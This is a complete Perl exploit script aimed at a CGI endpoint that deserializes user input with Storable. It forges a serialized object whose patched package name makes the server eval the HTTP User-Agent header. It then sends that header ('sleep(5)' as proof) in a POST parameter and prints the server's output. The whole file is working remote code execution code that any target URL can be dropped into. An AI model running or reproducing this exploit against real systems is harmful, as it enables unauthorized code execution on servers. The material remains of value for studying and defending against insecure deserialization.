#!/usr/bin/perl

use strict;
use MIME::Base64 qw( encode_base64 );
use Storable qw( nfreeze );
use LWP::UserAgent;
 
# Define the target script
my $target = "http://xxxx/cgi-bin/victim";
print "[+] Targeting $target\n";

# Define the dummy package that we will later patch
my $package_name = "A" x 252;
my $pack = qq~{ package $package_name; sub STORABLE_freeze { return 1; } }~;
eval($pack);

# Define and pad the payload
my $payload = qq~POSIX;eval(\$ENV{HTTP_USER_AGENT});exit;~;
my $padding = length($package_name) - length($payload);
print "[=] Padding $padding bytes\n";
$payload = $payload . (";" x $padding);

# Serialize the data
my $data = bless { ignore => 'this' }, $package_name;
my $frozen = nfreeze($data);

# Patch the serialized object
$frozen =~ s/$package_name/$payload/g;

# Encode as Base64 and display
$frozen = encode_base64($frozen, '');
$frozen =~ s/\+/%2B/g;
$frozen =~ s/=/%3D/g;
print "[=] Patched frozen: $frozen\n";

# Create the request
my $ua = LWP::UserAgent->new;
my $req = HTTP::Request->new(POST => $target);
$req->header('Content-Type' => 'application/x-www-form-urlencoded');
$req->header('User-Agent' => 'sleep(5)');
 
# Add POST data to HTTP request body
my $post_data = "key=foo&state=$frozen";
$req->content($post_data);

# Send the request 
my $resp = $ua->request($req);

# Parse results
if ($resp->code == 200) {
    my $body = $resp->decoded_content;
    (my $pre) = $body =~ /<pre>(.*)<\/pre>/s;
    print "[=] Output:\n$pre\n";
} else {
    print "[!] HTTP POST code: ", $resp->code, "\n";
    print "[!] HTTP POST message: ", $resp->message, "\n";
}
